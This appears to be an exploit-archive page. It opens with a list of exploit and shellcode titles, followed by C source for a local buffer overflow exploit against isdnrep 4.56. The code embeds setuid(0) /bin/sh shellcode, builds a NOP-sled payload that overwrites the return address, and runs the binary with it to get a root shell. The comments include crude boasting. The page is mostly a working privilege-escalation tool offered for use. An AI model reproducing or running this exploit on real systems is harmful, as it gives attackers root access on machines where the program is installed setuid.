
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
95 lines
No EOL
3.5 KiB
C
95 lines
No EOL
3.5 KiB
C
// source: https://www.securityfocus.com/bid/8100/info
|
|
|
|
isdnrep has been reported prone to a local command line argument buffer overflow vulnerability.
|
|
|
|
The issue presents itself due do a lack of sufficient bounds checking performed on user-supplied data that is copied from the command line into a reserved internal memory buffer. It is possible for a local attacker to influence the execution flow of isdnrep and have arbitrary operation codes executed in the context of the vulnerable application. Exploitation could permit privilege escalation on systems where the application is installed setuid/setgid.
|
|
|
|
It should be noted that although isdnrep version 4.56 has been reported vulnerable, other versions might also be vulnerable.
|
|
|
|
/*
|
|
|
|
STX SECURITY LABS:
|
|
|
|
5358isdnrape.c - x86 local buffer overflow exploit
|
|
proof of concept code by: ace [ ace@static-x.org ]
|
|
vulnerability discovered by: t0asty [ t0asty@static-x.org ]
|
|
|
|
Description:
|
|
|
|
isdnrep reads the isdnlog log files, generates reports,
|
|
does statistics, and other things. It can also generate
|
|
HTML output for use with a web server.
|
|
|
|
Vulnerability:
|
|
|
|
A buffer overflow vulnerability resides in isdnrep.
|
|
A segmentation fault occurs when 2152 bytes of data are sent to
|
|
the binary using the -t switch. The data overwrites the EIP therefore
|
|
it allows us to control the pointer, allowing us to execute code.
|
|
|
|
Versions vulnerable:
|
|
|
|
[-] All versions are believed to be vulnerable.
|
|
Tested on: isdnrep Version 4.56
|
|
|
|
*************************************************
|
|
* Note: isdnrep may not be suid on all systems. *
|
|
*************************************************
|
|
|
|
StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
|
|
X X
|
|
X STX ONLINE [ www.static-x.org ] X
|
|
X X
|
|
StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
|
|
|
|
*************************************************
|
|
* Note: our pen0rs are 50 x larger than yours. *
|
|
*************************************************
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
char stxcode[] =
|
|
|
|
/* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */
|
|
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
|
|
"\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
|
|
"\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
|
|
"\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
|
|
"\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
|
|
"\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
|
|
"\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";
|
|
|
|
|
|
unsigned long pen0r(void)
|
|
|
|
{
|
|
__asm__("movl %esp, %eax");
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
int pos; int ace = pen0r(); int stxnop = 0x90;
|
|
int stxbytes = 2148; int stxtotal = stxbytes + 4;
|
|
char *stxbof;
|
|
stxbof = (char *)malloc(stxbytes);
|
|
|
|
for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
|
|
*(long *)&stxbof[stxbytes] = pen0r();
|
|
memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
|
|
|
|
system("clear");
|
|
printf("#######################################\n");
|
|
printf("# [ STX SECURITY LABS ] #\n");
|
|
printf("# isdnrep local poc exploit by: ace #\n");
|
|
printf("#######################################\n\n");
|
|
printf("[+] Return Address: 0x%x\n", ace);
|
|
printf("[+] Buffer Size: %d\n", stxtotal);
|
|
printf("[-] /usr/bin/isdnrep -t pwned!\n\n");
|
|
|
|
execl("/usr/bin/isdnrep", "isdnrep", "-t", stxbof, NULL);
|
|
|
|
return 0;
|
|
|
|
} |